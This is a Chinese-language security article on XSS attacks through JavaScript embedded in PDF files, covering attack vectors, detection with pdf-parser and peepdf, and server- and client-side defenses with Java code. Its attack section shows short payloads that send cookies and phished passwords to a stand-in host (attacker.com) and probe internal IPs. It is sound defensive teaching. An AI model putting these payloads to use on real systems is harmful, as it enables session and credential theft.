乐于分享
好东西不私藏

PDF 文件竟然也能 XSS 攻击?

PDF 文件竟然也能 XSS 攻击?

PDF 文件竟然也能 XSS 攻击?

导读:你以为 XSS 只存在于 HTML?PDF 文件也能执行 JavaScript,也能窃取 Cookie。本文深入讲解 PDF XSS 攻击原理、检测方法和防御方案,含完整代码示例。


“我们系统很安全,文件上传只允许 PDF”

开发说这句话的时候,一脸自信。

一周后,安全团队提交报告:

  • 攻击者上传恶意 PDF
  • 管理员后台预览
  • Cookie 被窃取
  • 权限被接管

问题出在哪?

PDF 文件也能执行 JavaScript,也能 XSS 攻击。

PDF 是一种复杂的文档格式,支持:

  • 嵌入 JavaScript
  • 表单交互
  • 外部资源加载
  • 事件触发(打开页面、点击等)

这意味着:PDF 可以像 HTML 一样「执行代码」。


02 攻击原理

PDF 中的 JavaScript

PDF 规范支持嵌入 JavaScript,用于表单验证、页面交互等。

示例:

// PDF 打开时弹窗app.alert('Hello from PDF!');

攻击向量

1. 窃取 Cookie

var xhr = newXMLHttpRequest();xhr.open('GET''http://attacker.com/steal?c=' + document.cookie);xhr.send();

2. 钓鱼攻击

var response = app.response("会话已过期,请重新登录:""身份验证");if (response != null) {var xhr = newXMLHttpRequest();    xhr.open('POST''http://attacker.com/phish');    xhr.send(response);}

3. 内网探测

var ips = ["192.168.1.1""192.168.0.1"];for (var i = 0; i < ips.length; i++) {var xhr = newXMLHttpRequest();    xhr.open('GET''http://' + ips[i] + ':8080/admin');try { xhr.send(); } catch (e) {}}

攻击流程

1. 创建恶意 PDF(嵌入 JavaScript)   ↓2. 上传到目标系统(绕过文件检查)   ↓3. 受害者预览(浏览器内置阅读器)   ↓4. JavaScript 执行(窃取 Cookie/CSRF/钓鱼)

关键条件:

  • PDF 阅读器支持 JavaScript(Adobe Reader 默认支持)
  • 浏览器允许 PDF 中的 JS 执行
  • 受害者有敏感数据可访问

03 检测方法

方法 1:pdf-parser 分析

# 安装pip install pdf-parser# 查找 JavaScript 对象pdf-parser.py --search javascript malicious.pdf# 提取 JavaScript 代码pdf-parser.py --object 5 malicious.pdf

方法 2:peepdf 分析

# 安装pip install peepdf# 分析 PDFpeepdf.py -i malicious.pdf# 交互式查看 JS 对象> js_objects> stream_object 5

方法 3:在线工具

  • Hybrid Analysis:https://www.hybrid-analysis.com
  • VirusTotal:https://www.virustotal.com

04 防御方案

4.1 服务端:移除 JavaScript

工具:Ghostscript

gs -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite \   -sOutputFile=output.pdf input.pdf

工具:qpdf

qpdf --linearize input.pdf output.pdf

4.2 服务端:Java 清理实现

import com.itextpdf.kernel.pdf.*;publicclassPdfSanitizer {publicstaticvoidremoveJavaScript(String input, String output)throws IOException {PdfReaderreader=newPdfReader(input);PdfWriterwriter=newPdfWriter(output);PdfDocumentpdf=newPdfDocument(reader, writer);// 移除文档级 JavaScriptif (pdf.getCatalog().get(newPdfName("Names")) != null) {            pdf.getCatalog().remove(newPdfName("Names"));        }// 移除页面级动作for (inti=1; i <= pdf.getNumberOfPages(); i++) {PdfPagepage= pdf.getPage(i);if (page.getPdfObject().get(newPdfName("A")) != null) {                page.getPdfObject().remove(newPdfName("A"));            }        }        pdf.close();    }}

4.3 服务端:转换为图片

最安全的方案:将 PDF 转为图片,彻底消除执行代码的可能。

import org.apache.pdfbox.pdmodel.PDDocument;import org.apache.pdfbox.rendering.PDFRenderer;import javax.imageio.ImageIO;publicclassPdfToImage {publicstaticvoidconvert(String pdfPath, String imagePath)throws Exception {PDDocumentdocument= PDDocument.load(newFile(pdfPath));PDFRendererrenderer=newPDFRenderer(document);// 渲染为图片BufferedImageimage= renderer.renderImageWithDPI(0150);        ImageIO.write(image, "PNG"newFile(imagePath));        document.close();    }}

优点: 彻底安全

缺点: 失去文本搜索、复制功能


4.4 文件上传验证

错误做法:

// ❌ 只检查扩展名if (filename.endsWith(".pdf")) {// 允许}

正确做法:

// ✅ 检查文件头byte[] header = newbyte[4];inputStream.read(header);Stringmagic=newString(header, StandardCharsets.ISO_8859_1);if (!"%PDF".equals(magic)) {thrownewSecurityException("不是 PDF 文件");}// ✅ 检查是否包含 JavaScriptStringcontent=newString(inputStream.readAllBytes(), StandardCharsets.ISO_8859_1);if (content.contains("/JavaScript") || content.contains("/JS")) {thrownewSecurityException("PDF 包含 JavaScript");}

4.5 PDFBox 验证

import org.apache.pdfbox.pdmodel.PDDocument;publicbooleanisValidPdf(InputStream inputStream)throws Exception {PDDocumentdocument= PDDocument.load(inputStream);// 检查 JavaScriptif (document.getJavaScript() != null &&         !document.getJavaScript().isEmpty()) {returnfalse;    }// 检查打开动作if (document.getDocumentCatalog().getOpenAction() != null) {returnfalse;    }    document.close();returntrue;}

4.6 完整防御流程(企业级)

@Service@RequiredArgsConstructorpublicclassSecureFileUploadService {/**     * 安全上传 PDF     */public String uploadPdf(MultipartFile file)throws Exception {// 1. 检查文件头if (!isPdfFile(file.getInputStream())) {thrownewSecurityException("不是 PDF 文件");        }// 2. 病毒扫描(ClamAV)if (!scanForVirus(file.getInputStream())) {thrownewSecurityException("文件包含病毒");        }// 3. 清理 PDF(移除 JavaScript)StringsafePath= sanitizePdf(file.getInputStream());// 4. 再次验证if (!isValidPdf(safePath)) {thrownewSecurityException("PDF 清理失败");        }return"/files/" + Paths.get(safePath).getFileName();    }privatebooleanisPdfFile(InputStream is)throws IOException {byte[] header = newbyte[4];        is.read(header);return"%PDF".equals(newString(header, StandardCharsets.ISO_8859_1));    }private String sanitizePdf(InputStream is)throws Exception {StringtempPath="/tmp/" + UUID.randomUUID() + ".pdf";StringoutputPath="/data/files/" + UUID.randomUUID() + ".pdf";        Files.copy(is, Paths.get(tempPath), StandardCopyOption.REPLACE_EXISTING);// 使用 Ghostscript 清理ProcessBuilderpb=newProcessBuilder("gs""-dSAFER""-dBATCH""-dNOPAUSE","-sDEVICE=pdfwrite","-sOutputFile=" + outputPath,            tempPath        );        pb.start().waitFor();        Files.deleteIfExists(Paths.get(tempPath));return outputPath;    }privatebooleanisValidPdf(String path)throws Exception {try (PDDocumentdoc= PDDocument.load(newFile(path))) {return doc.getJavaScript() == null || doc.getJavaScript().isEmpty();        }    }}

4.7 客户端防御

Chrome 设置:

chrome://settings/content/pdfDocuments→ 关闭"在 Chrome 中打开 PDF"

Firefox 设置:

about:config→ pdfjs.disabled = true

Adobe Reader 设置:

  1. 编辑 → 首选项 → JavaScript
  2. 取消勾选「启用 Acrobat JavaScript」

05 总结

核心观点:

  1. PDF 也能 XSS:支持 JavaScript,可执行恶意代码
  2. 攻击向量多样:Cookie 窃取、钓鱼、内网探测
  3. 检测工具丰富:pdf-parser、peepdf、在线工具
  4. 防御方案成熟:清理 JS、转图片、严格验证

防御最佳实践:

环节
措施
文件上传
检查文件头 + 内容验证
文件存储
清理 JavaScript + 病毒扫描
文件预览
转换为图片 + CSP 隔离
客户端
禁用 PDF JavaScript

最后:

安全是持续的过程。

建议: 定期扫描已上传的 PDF 文件,及时清理风险。


工具清单:

  • pdf-parser:https://github.com/DidierStevens/DidierStevensSuite
  • peepdf:https://eternal-todo.com/tools/peepdf-pdf-analysis-tool
  • qpdf:https://github.com/qpdf/qpdf
  • Ghostscript:https://ghostscript.com
  • Hybrid Analysis:https://www.hybrid-analysis.com